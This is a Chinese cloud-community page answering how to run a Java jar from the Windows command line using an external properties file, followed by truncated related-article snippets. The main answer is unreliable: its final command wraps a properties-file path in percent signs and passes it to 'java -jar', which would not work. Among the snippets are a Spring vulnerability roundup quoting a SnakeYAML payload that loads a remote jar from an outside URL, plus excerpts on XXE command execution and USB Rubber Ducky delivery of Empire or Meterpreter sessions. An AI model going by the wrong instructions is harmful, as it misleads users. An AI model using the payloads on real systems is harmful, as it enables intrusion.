首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

通过C驱动器上的外部属性文件从Windows命令执行Java Jar

,可以通过以下步骤实现:

  1. 创建一个外部属性文件,可以使用任何文本编辑器,例如Notepad++。文件的扩展名可以是.properties或者任何你喜欢的扩展名。在属性文件中,你可以定义一些键值对,用于配置你的Java应用程序。
  2. 在属性文件中,你可以定义以下键值对:
    • jar.path:Java Jar文件的路径,例如C:\path\to\your\jar.jar。
    • jar.arguments:传递给Java Jar文件的命令行参数,例如arg1 arg2 arg3。
  3. 将属性文件保存在C驱动器上的任意位置,例如C:\path\to\your\config.properties。
  4. 打开命令提示符(CMD)或者PowerShell。
  5. 使用cd命令导航到Java安装目录的bin文件夹,例如cd C:\Program Files\Java\jdk1.8.0_291\bin
  6. 使用以下命令执行Java Jar文件:java -jar %C:\path\to\your\config.properties%这里的%C:\path\to\your\config.properties%是属性文件的路径。

通过以上步骤,你可以通过C驱动器上的外部属性文件从Windows命令执行Java Jar文件。这种方法可以方便地配置和管理Java应用程序的参数,使其更加灵活和可扩展。

推荐的腾讯云相关产品:腾讯云云服务器(CVM)

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

JDBC的配置(包括db.properties等)

3.2 驱动程序JAR文件 在运行访问数据库的程序时,需要将驱动程序的JAR文件包括到类路径中(编译时并不需要整个JAR文件) 从命令行启动时,只需要使用下面的命令 java -classpath...3.3 启动数据库 数据库服务器在连接之前需要先启动 Derby数据库的启动步骤 (1)打开命令shell(linux)或cmd(windows)窗口C:\"Program Files"\Sun\.../cmd窗口中运行Derby的交互式脚本执行工具 : java -jar derbyrun.jar ij -p db.properties 注意 : 打开交互式执行脚本工具之后,会在derbyrun.jar...(7)退出编辑器EXIT; (8)关闭服务器 : java -jar derbyrun.jar server shutdown 3.4 注册驱动器类 情况一:某些JDBC的JAR文件将自动注册驱动器类...可以通过命令参数来指定这个属性 e.g.java -Djdbc.drivers=com.mysql.jdbc.Driver ProgramName 或在应用中通过调用来设置系统属性,在这种方法中可以提供多个驱动

1.5K10
  • 应急响应-遭受入侵的通用处置方法

    内存马就是将Webshell注入到容器中的常驻进程中,将路由和Webshell进行绑定,就可以实现访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果。...由于内存马没有文件落地,所以攻击者比较喜欢在Web服务上写入内存马进行权限维持。...特别是在遇到Java Web开发的网站且网站存在代码注入、反序列化漏洞时,就会通过这些漏洞写入内存马,然后用Webshell管理工具连接。...下载内存马检测工具 放置在根目录下把对应的进行kill掉 3、Copagent http//github.c/LandGr/copagent 使用cop.jar工具,运行java -jar cop.jar...} 3.存在命令执行方法java.lang.ProcessBuilder().start() 4.执行命令“whoami”,返回包中返回执行成功信息“root” 5.出现类似于“3345*23565”的日志

    1.6K10

    未分配的磁盘怎么还原回去_硬盘突然未初始化

    解决方案2.在PC上初始化外部硬盘: 通过磁盘管理实用程序检查驱动器状态时,如果在外部磁盘图标旁边找到未分配的空间,则必须在设备上执行初始化过程,可以按照以下的详细指南来初始化驱动器。...我们可以通过Windows的命令提示符实用程序重建MBR来解决此问题。 在计算机上打开命令提示符。 键入外部硬盘驱动器分区的字母,例如F :,然后按Enter。...通过在PC上使用命令提示符来利用此功能,可以按照以下步骤在Windows cmd实用程序上运行命令。 通过以管理员身份运行程序来打开命令提示符。 找到cmd实用程序的窗口。...解决方案5.如何从未初始化的硬盘驱动器中恢复数据? 如果以上解决方案都不适合,那么应该在外部硬盘驱动器上执行数据恢复操作并检索所有重要文件。可以使用万兴恢复专家数据恢复程序来恢复数据。...安装该应用程序后,按照以下三步过程来恢复已删除的文件。 1.选择位置: 要通过万兴恢复专家初始化恢复过程,需要按照以下步骤运行它: 从开始菜单运行软件。 在“外部设备”部分下选择您的外部硬盘驱动器。

    4.3K10

    常用DOS命令汇总

    在执行这些命令的时候,直接从内存进行调用………自从DOS在1981年问世以来,版本就不断更新,从最初的DOS1.0升级到了最新的DOS8.0(Windows ME系统),纯DOS的最高版本为DOS6.22...CMD外部命令 (调用其它程序来实现对对象的操作) 外部命令实际上是一个DOS应用程序,通过执行存储于外部(盘)的程序完成其功能,能够使用户的操作更加方便和深入。...这些外部命令都是以文件的形式存在,Windows系统的DOS外部命令保存在Windows主目录下的”Command”目录中。...attrib 显示或更改文件属性。 break 设置或清除扩展式CTRL+C检查。 bootcfg 设置boot.ini文件的属性以便控制启动加载。...if 在批处理程序中执行有条件的处理过程。 subst 将驱动器号与路径关联。 label 创建、更改或删除磁盘的卷标。 SYSTEMINFO 显示机器的具体的属性和配置。 md 创建一个目录。

    3.4K10

    大数据技术笔试题库

    ["倒排索引"] HDFS与现有的分布式文件系统的主要区别是HDFS具有【】能力 答案: ["高度容错"] 我们通过执行【】命令,可以使得配置的环境变量文件生效 答案: ["source /etc/profile...答案: hadoop-env.sh提供了Hadoop中的JAVA_HOME运行环境变量。 ---- 配置hive-env.sh都涉及到哪些属性?...答案: (1)用户通过用户接口UI将执行的查询操作发送给驱动器执行。 (2)驱动器借助查询编译器解析查询,检查语法和查询计划或查询需求。...(7)执行引擎从DataNode上获取结果集,并将结果发送给用户接口UI和驱动器。 ---- 简述MapReduce的Map阶段和Reduce阶段。...(6)NodeManager为任务设置好运行环境(包括环境变量、JAR包、二进制程序等)后,将任务启动命令写到一个脚本中,并通过运行该脚本启动任务。

    2.9K30

    一文读懂 Java 文件和包结构,解读开发中常用的 jar 包

    设置 CLASSPATH 系统变量 用下面的命令显示当前的CLASSPATH变量: Windows 平台(DOS 命令行下):C:> set CLASSPATH UNIX 平台(Bourne shell...下):# echo $CLASSPATH 删除当前CLASSPATH变量内容: Windows 平台(DOS 命令行下):C:> set CLASSPATH= UNIX 平台(Bourne shell...下):# unset CLASSPATH; export CLASSPATH 设置CLASSPATH变量: Windows 平台(DOS 命令行下):C:> set CLASSPATH=C:\users....class文件本质上是一种二进制文件, 它一般是由.java文件通过 javac这个命令(jdk本身提供的工具)生成的一个文件, 而这个文件可以由jvm(java虚拟机)装载(类装载),然后进java....class文件是字节码文件,由.java源文件通过javac命令编译后生成的文件。是可以运行在任何支持Java虚拟机的硬件平台和操作系统上的二进制文件。 .class文件并不本地的可执行程序。

    7.3K40

    夯实Java基础系列5:Java文件和Java包结构

    设置 CLASSPATH 系统变量 用下面的命令显示当前的CLASSPATH变量: Windows 平台(DOS 命令行下):C:> set CLASSPATH UNIX 平台(Bourne shell...下):# echo $CLASSPATH 删除当前CLASSPATH变量内容: Windows 平台(DOS 命令行下):C:> set CLASSPATH= UNIX 平台(Bourne shell...下):# unset CLASSPATH; export CLASSPATH 设置CLASSPATH变量: Windows 平台(DOS 命令行下): C:> set CLASSPATH=C:\users....class文件本质上是一种二进制文件, 它一般是由.java文件通过 javac这个命令(jdk本身提供的工具)生成的一个文件, 而这个文件可以由jvm(java虚拟机)装载(类装载),然后进java...class文件是字节码文件,由.java源文件通过javac命令编译后生成的文件。是可以运行在任何支持Java虚拟机的硬件平台和操作系统上的二进制文件。.class文件并不本地的可执行程序。

    66980

    磁盘操作系统(DOS)

    文件管理和系统功能调用程序(PC-DOS为IBMDOS.COM、MS-DOS。为MSDOS.SYS)。 命令处理程序(COMMAND. COM)。 各种外部命令:完成各种辅助功能的可执行文件。...DISKPART 显示或配置磁盘分区属性。 DOSKEY 编辑命令行、调用 Windows 命令并创建宏。 DRIVERQUERY 显示当前设备驱动程序状态和属性。...START 打开单独视窗运行指定程序或命令。 SUBST 将驱动器号与路径关联。 SYSTEMINFO 显示机器的具体的属性和配置。...如果需要实现更复杂的应用,利用外部程式是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。...@echo off 让执行的命令不显示在屏幕上,on for %%i in (*.txt) do ren %%i me%%i.java 循环当前目录下所有的txt文件 http://blog.csdn.net

    2.9K80

    一文了解XXE漏洞

    引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行 当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害...ENTITY copyright "Copyright W3School.com.cn"> ]> &writer;©right; 2,外部实体 从外部的 DTD文件中引用...参数 然后利用 burp 的 intruder 来帮我们探测 (5) 远程代码执行(RCE) PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上 就可以执行如下的命令: Java 中有一个比较神奇的协议 jar:// 能从远程获取 jar 文件,然后将其中的内容进行解压 下载 jar/zip 文件到临时文件中 提取出我们指定的文件 删除临时文件 jar:{url}!...; import org.w3c.dom.Node; import org.w3c.dom.NodeList; /** * 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上 * @author

    3K11

    Spring 框架相关漏洞合集 | 红队技术

    这个机制允许攻击者修改用于加载对象的类加载器的属性(通过 'class.classloader')。这可能导致任意命令执行,例如,攻击者可以修改 URL。由类加载器用来指向攻击者控制的位置。...%22)} 但是此命令执行,不会在页面上显示,只会打印出运行的对象。...提供的脚本,但是此脚本并不具备通用性,需要修改使用poc CVE-2018-1271 Spring MVC 目录穿越漏洞 当 Spring MVC 的静态资源存放在 Windows 系统上时,攻击可以通过构造特殊...此漏洞触发条件较高: Server 运行于 Windows 系统上 从文件系统提供的文件服务(比如使用 file 协议,但不是 file open) 没有使用 CVE-2018-1199 漏洞的补丁 不使用...java.net.URL ["http://artsploit.com/yaml-payload.jar"] ]]] 该 jar 文件的反序列化将触发提供的 URLClassLoader 的 ScriptEngineManager

    6.6K21

    Github 29K Star的开源对象存储方案——Minio入门宝典

    1、对象存储 从本质上讲,对象存储是一种数据存储架构,允许以高度可扩展的方式存储大量非结构化数据。 如今,我们需要在关系或非关系数据库中存储的可不仅仅是简单的文本信息。...MinIO升级是通过一个简单命令完成的,这个命令可以无中断的完成MinIO的升级,并且不需要停机即可完成升级操作 - 降低总使用和运维成本。.../minio server /data 将/data 替换为您希望 MinIO 存储数据的驱动器或目录的路径。 Windows 使用以下命令在 Windows 主机上运行独立的 MinIO 服务器。...MinIO Client(mc)提供了“ admin”子命令来对您的MinIO部署执行管理任务。...管理Prometheus配置 kms kms执行KMS管理操作 5、Java Api MinIO Java Client SDK提供简单的API来访问任何与Amazon S3兼容的对象存储服务

    11.2K40

    SpringBoot激活profiles你知道几种方式?

    命令行方式 命令行方式是一种外部配置的方式,在执行java -jar命令时可以通过--spring.profiles.active=test的方式进行激活指定的profiles列表。...SPRING_PROFILES_ACTIVE=dev Windows系统配置环境变量 环境变量的配置方式请参考Java环境变量配置,新建一个名为SPRING_PROFILES_ACTIVE的系统环境变量...Java系统属性方式 Java系统属性方式也是一种外部配置的方式,在执行java -jar命令时可以通过-Dspring.profiles.active=test的方式进行激活指定的profiles列表...方式设置Java系统属性要在-jar前定义。...> Java系统属性方式 > 系统变量方式 > 配置文件方式 经过测试命令行方式的优先级最高,而内部配置文件方式则是最低的。

    89510

    利用USB橡皮鸭在目标机器上启动Empire或Meterpreter会话

    乍一看,我们似乎可以选择直接从“运行”框启动base64编码命令来节约时间,但这是不可能的因为该框不会接受这么多的字符。...编译ducky有效载荷(更多信息,请参阅Rubber Ducky wiki): $ java -jar duckencoder.jar -i pastebin-payload.txt -o /media...(备注:添加NSFW的内容,使得受害者不太可能将驱动器移交给IT部门) 将’inject.bin’和’vidpid.bin’隐藏在Windows系统上。...“DUCKY”的驱动器,然后提取该驱动器的字母,并将PowerShell文件追加到字符串并执行该脚本。...最后,我们检查了从Ducky的内部磁盘执行脚本的PoC,即使计算机未连接到互联网时也能创建一个持久性的会话。以上讨论的所有技术都是无文件式攻击,因此对于绕过AV也有一定的效果。

    1.7K70

    arthas常用命令

    快速入门 快速入门 执行一个jar包 通过arthas来粘附,并且进行几种常用的操作 通过一个案例快速入门 以下是一个简单的Java程序,每隔一秒生成一个随机数,再执行质因数分解,并打印出分解结果。.../enter,会展示当前进程的信息,按ctrl+c可以中断执行。...) sysenv 查看当前JVM的环境属性( System Environment Variables ) vmoption 查看,更新VM诊断相关的参数 getstatic 通过getstatic命令可以方便的查看类的静态属性...redefine 加载外部的 .class 文件,redefine到JVM里 retransform 加载外部的.class文件,retransform jvm 已加载的类。...monitor 命令是一个非实时返回命令. 实时返回命令是输入之后立即返回,而非实时返回的命令,则是不断的等待目标 Java 进程返回信息,直到用户输入 Ctrl+C 为止。

    73610

    Assembly 部署流程

    如果存在环境不确定,或者需要启动脚本启动项目的时候,这种直接通过 jar 的方式后续会需要处理很多工作。...而通过 assembly 将 Spring Boot 服务化打包,便能解决上面提到的 2 个问题 使得 Spring Boot 能够加载 jar 外的配置文件。...Tip:开头的项目名称、jar 包名称不用我们手动设置,这里使用参数变量,在项目打包后这些参数自动会替换为 pom 的 profiles 中 properties 的值(assembly 配置文件需要开启属性替换功能...将项目与依赖分开打包 至此,上文中介绍的使用 assembly 对项目打包时,项目代码和项目所有的依赖文件会一起打成一个可执行的 jar 包。 如果项目的依赖包很多,那么这个文件就会非常大。...修改配置 首先我们编辑 assembly.xml 配置文件。在前文的基础上新增第三方依赖设置,实现将第三方的 jar 包添加到压缩包里的 lib 目录。 <!

    1.6K40
    领券